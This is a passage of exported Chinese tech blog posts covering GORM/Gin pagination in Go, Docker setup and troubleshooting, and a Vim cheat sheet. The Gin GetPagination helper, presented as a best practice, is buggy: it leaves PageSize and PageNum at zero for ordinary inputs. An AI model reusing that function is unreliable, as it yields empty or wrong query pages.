class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;gorm.io/gorm\u0026quot;\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e paginate \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003elimit \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epage \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003enewPaginate\u003c/span\u003e\u003cspan class=\"params\"\u003e(limit \u003cspan class=\"type\"\u003eint\u003c/span\u003e, page \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e *paginate \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u0026amp;paginate\u0026#123;limit: limit,page: page\u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p *paginate)\u003c/span\u003e\u003c/span\u003e paginatedResult(db *gorm.DB) *gorm.DB \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoffset := (p.page - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) * p.limit \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e db.Offset(offset). \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eLimit(p.limit) \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后,就可以在数据库中使用分页了:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p propertyRepository)\u003c/span\u003e\u003c/span\u003e GetPagedAndFiltered(limit, page \u003cspan class=\"type\"\u003eint\u003c/span\u003e) ([]Property, \u003cspan class=\"type\"\u003eerror\u003c/span\u003e) \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e properties []Property \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eerr := p.db.Scopes(newPaginate(limit,page).paginatedResult).Find(\u0026amp;properties).Error \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e properties, err \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当然,我对上面的代码进行了进一步的集成。虽然损失了低耦合性质,但是只是在Gin使用的话体验拉满:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Pagination \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePageSize \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePageNum \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// GetPagination Get pagination info\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eGetPagination\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *gin.Context)\u003c/span\u003e\u003c/span\u003e Pagination \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e data Pagination\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epageSize, _ := strconv.Atoi(c.Query(\u003cspan class=\"string\"\u003e\u0026quot;pagesize\u0026quot;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epageNum, _ := strconv.Atoi(c.Query(\u003cspan class=\"string\"\u003e\u0026quot;pagenum\u0026quot;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e pageSize \u0026gt;= \u003cspan class=\"number\"\u003e100\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.PageSize = \u003cspan class=\"number\"\u003e100\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e pageSize \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.PageSize = \u003cspan class=\"number\"\u003e10\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e pageNum \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.PageNum = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p *Pagination)\u003c/span\u003e\u003c/span\u003e PaginatedResults(db *gorm.DB) *gorm.DB \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoffset := (p.PageNum - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) * p.PageSize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e db.Offset(offset).Limit(p.PageSize)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e使用方法就是在Gin Handler中用\u003ccode\u003eGetPagination\u003c/code\u003e获取分页参数,然后在\u003ccode\u003emodel\u003c/code\u003e的具体数据库实现操作中使用\u003ccode\u003edb.Scopes(page.PaginatedResult).xxx\u003c/code\u003e直接分页。\u003c/p\u003e\u003cp\u003e应该是一种最佳实践。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Golang%E4%BB%A3%E7%A0%81%E5%A4%8D%E7%94%A8-%E5%88%86%E9%A1%B5%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/"},{"title":"Docker使用笔记","time":"2023-10-01T09:36:32Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"#安装\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cp\u003e各种发行版都不一样,Arch直接\u003ccode\u003esudo pacman -S docker\u003c/code\u003e就行。\u003c/p\u003e\u003cp\u003e安装完毕后,输入\u003ccode\u003esudo systemctl enable --now docker.service\u003c/code\u003e启动Docker服务。\u003c/p\u003e\u003ch3 id=\"权限配置\"\u003e\u003ca href=\"#权限配置\" class=\"headerlink\" title=\"权限配置\"\u003e\u003c/a\u003e权限配置\u003c/h3\u003e\u003cp\u003e想不用\u003ccode\u003esudo\u003c/code\u003e就用Docker,那就得配置用户组权限:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo groupadd docker \u003cspan class=\"comment\"\u003e# ensure the usergroup docker exists\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esudo usermod -aG docker \u003cspan class=\"variable\"\u003e$USER\u003c/span\u003e \u003cspan class=\"comment\"\u003e# add curr user to docker group\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"镜像加速\"\u003e\u003ca href=\"#镜像加速\" class=\"headerlink\" title=\"镜像加速#\"\u003e\u003c/a\u003e镜像加速\u003ca href=\"https://www.cnblogs.com/qianyuzz/p/18016205#%E9%95%9C%E5%83%8F%E5%8A%A0%E9%80%9F\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e我使用的是\u003ca href=\"https://cr.console.aliyun.com/cn-shenzhen/instances/mirrors\"\u003e阿里云镜像\u003c/a\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e安装/升级Docker客户端\u003cbr\u003e 推荐安装1.10.0以上版本的Docker客户端,参考文档docker-ce\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e配置镜像加速器\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# vim /etc/docker/daemon.json\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# sudo systemctl daemon-reload\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# sudo systemctl restart docker\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# cat /etc/docker/daemon.json\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026quot;registry-mirrors\u0026quot;\u003c/span\u003e: [\u003cspan class=\"string\"\u003e\u0026quot;https://xxxxxx.mirror.aliyuncs.com\u0026quot;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最后使用\u003ccode\u003edocker info\u003c/code\u003e 就可以查看是否更换镜像成功。\u003c/p\u003e\u003ch2 id=\"使用指南\"\u003e\u003ca href=\"#使用指南\" class=\"headerlink\" title=\"使用指南\"\u003e\u003c/a\u003e使用指南\u003c/h2\u003e\u003ch3 id=\"离线使用\"\u003e\u003ca href=\"#离线使用\" class=\"headerlink\" title=\"离线使用\"\u003e\u003c/a\u003e离线使用\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e最近国内docker镜像都歇菜之后,倒也该了解下这方面的知识了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e假设目标设备已经安装docker,但是无法正常使用docker pull。那么找到一个有网络条件的设备,使用\u003ccode\u003edocker pull\u003c/code\u003e命令从Docker Hub或其他仓库拉取所需的镜像。完成后,使用\u003ccode\u003edocker save\u003c/code\u003e命令将镜像保存到文件中:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edocker save -o /path/to/image.tar imageName:tag\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,将生成的\u003ccode\u003e.tar\u003c/code\u003e文件复制到存储介质中。\u003c/p\u003e\u003cp\u003e在无网络设备上插上你的存储设备,使用\u003ccode\u003edocker load\u003c/code\u003e命令从\u003ccode\u003e.tar\u003c/code\u003e文件中加载镜像:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edocker load -i /path/to/image.tar\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后续用法就没啥区别了。\u003c/p\u003e\u003ch2 id=\"疑难杂症\"\u003e\u003ca href=\"#疑难杂症\" class=\"headerlink\" title=\"疑难杂症\"\u003e\u003c/a\u003e疑难杂症\u003c/h2\u003e\u003ch3 id=\"tls-failed-to-verify-certificate-x509-certificate-signed-by-unknown-authority\"\u003e\u003ca href=\"#tls-failed-to-verify-certificate-x509-certificate-signed-by-unknown-authority\" class=\"headerlink\" title=\"tls: failed to verify certificate: x509: certificate signed by unknown authority\"\u003e\u003c/a\u003e\u003ccode\u003etls: failed to verify certificate: x509: certificate signed by unknown authority\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e现象是,在容器内会发现https连接不可用,都会报上面的错误。但是容器的宿主机连接正常。\u003c/p\u003e\u003cp\u003e报错内容是证书由未知机构签署。原因是基于https的web连接基于tls机制来认证连接双方可信,并且不会存在中间人攻击(即,在你到服务器的通信中,第三方几乎不可能解密你们加密后的通信内容)。但是因为基于tls可信原理的条件进行推导,最终会得出必须存在一个可信根证书预先分发给客户端的结论。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003ex509是一个标准,它定义了公钥证书的格式,这些证书用于TLS和其他加密通信。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以,上面的错误表示证书部分出现错误。未知证书表示客户端没有信任签发服务器证书的证书颁发机构(CA)。客户端的信任存储中没有包含该CA的证书,因此无法验证服务器证书的有效性。\u003c/p\u003e\u003cp\u003e因此鉴定为容器镜像里边缺tls证书了。\u003c/p\u003e\u003ch4 id=\"解决方案\"\u003e\u003ca href=\"#解决方案\" class=\"headerlink\" title=\"解决方案\"\u003e\u003c/a\u003e解决方案\u003c/h4\u003e\u003cul\u003e\u003cli\u003e在容器中执行\u003ccode\u003eapt-get install ca-certificates\u003c/code\u003e\u003c/li\u003e\u003cli\u003e在映射中添加如下映射:\u003ccode\u003e/etc/ssl/certs/ca-certificates.crt:/etc/ssl/certs/ca-certificates.crt\u003c/code\u003e\u003c/li\u003e\u003cli\u003e在映射中添加如下映射:\u003ccode\u003e/usr/share/zoneinfo/Asia/Shanghai:/etc/localtime:ro\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果是\u003ccode\u003eubuntu:latest\u003c/code\u003e的话,那大概率已经安装\u003ccode\u003eca-certificates\u003c/code\u003e,执行2,3尝试即可。\u003c/p\u003e\u003ch2 id=\"参考文献\"\u003e\u003ca href=\"#参考文献\" class=\"headerlink\" title=\"参考文献\"\u003e\u003c/a\u003e参考文献\u003c/h2\u003e\u003cul\u003e\u003cli\u003eDocker官方文档:\u003ca href=\"https://docs.docker.com/\"\u003ehttps://docs.docker.com/\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Docker%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/"},{"title":"Vim备忘录","time":"2023-09-29T21:30:53Z","content":"Cheat sheet,翻译过来也就是“打小抄”。入门时用来记命令倒是挺方便的\u003chr /\u003e\u003ch2 id=\"How-to-Exit\"\u003e\u003ca href=\"#How-to-Exit\" class=\"headerlink\" title=\"How to Exit\"\u003e\u003c/a\u003eHow to Exit\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]\u003c/td\u003e\u003ctd\u003eQuit Vim. This fails when changes have been made.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]!\u003c/td\u003e\u003ctd\u003eQuit without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:cq[uit]\u003c/td\u003e\u003ctd\u003eQuit always, without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq\u003c/td\u003e\u003ctd\u003eWrite the current file and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq!\u003c/td\u003e\u003ctd\u003eWrite the current file and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq {file}\u003c/td\u003e\u003ctd\u003eWrite to {file}. Exit if not editing the last\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq! {file}\u003c/td\u003e\u003ctd\u003eWrite to {file} and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]wq[!]\u003c/td\u003e\u003ctd\u003e[file] Same as above, but only write the lines in [range].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZZ\u003c/td\u003e\u003ctd\u003eWrite current file, if modified, and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZQ\u003c/td\u003e\u003ctd\u003eQuit current file and exit (same as “:q!”).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Editing-a-File\"\u003e\u003ca href=\"#Editing-a-File\" class=\"headerlink\" title=\"Editing a File\"\u003e\u003c/a\u003eEditing a File\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]\u003c/td\u003e\u003ctd\u003eEdit the current file. This is useful to re-edit the current file, when it has been changed outside of Vim.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]!\u003c/td\u003e\u003ctd\u003eEdit the current file always. Discard any changes to the current buffer. This is useful if you want to start all over again.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit] {file}\u003c/td\u003e\u003ctd\u003eEdit {file}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]! {file}\u003c/td\u003e\u003ctd\u003eEdit {file} always. Discard any changes to the current buffer.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egf\u003c/td\u003e\u003ctd\u003eEdit the file whose name is under or after the cursor. Mnemonic: “goto file”.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-Text\"\u003e\u003ca href=\"#Inserting-Text\" class=\"headerlink\" title=\"Inserting Text\"\u003e\u003c/a\u003eInserting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ea\u003c/td\u003e\u003ctd\u003eAppend text after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eA\u003c/td\u003e\u003ctd\u003eAppend text at the end of the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ei\u003c/td\u003e\u003ctd\u003eInsert text before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI\u003c/td\u003e\u003ctd\u003eInsert text before the first non-blank in the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egI\u003c/td\u003e\u003ctd\u003eInsert text in column 1 [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eo\u003c/td\u003e\u003ctd\u003eBegin a new line below the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eO\u003c/td\u003e\u003ctd\u003eBegin a new line above the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-a-file\"\u003e\u003ca href=\"#Inserting-a-file\" class=\"headerlink\" title=\"Inserting a file\"\u003e\u003c/a\u003eInserting a file\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] [name]\u003c/td\u003e\u003ctd\u003eInsert the file [name] below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] !{cmd}\u003c/td\u003e\u003ctd\u003eExecute {cmd} and insert its standard output below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Deleting-Text\"\u003e\u003ca href=\"#Deleting-Text\" class=\"headerlink\" title=\"Deleting Text\"\u003e\u003c/a\u003eDeleting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u0026lt;Del\u0026gt; or x\u003c/td\u003e\u003ctd\u003eDelete [count] characters under and after the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eX\u003c/td\u003e\u003ctd\u003eDelete [count] characters 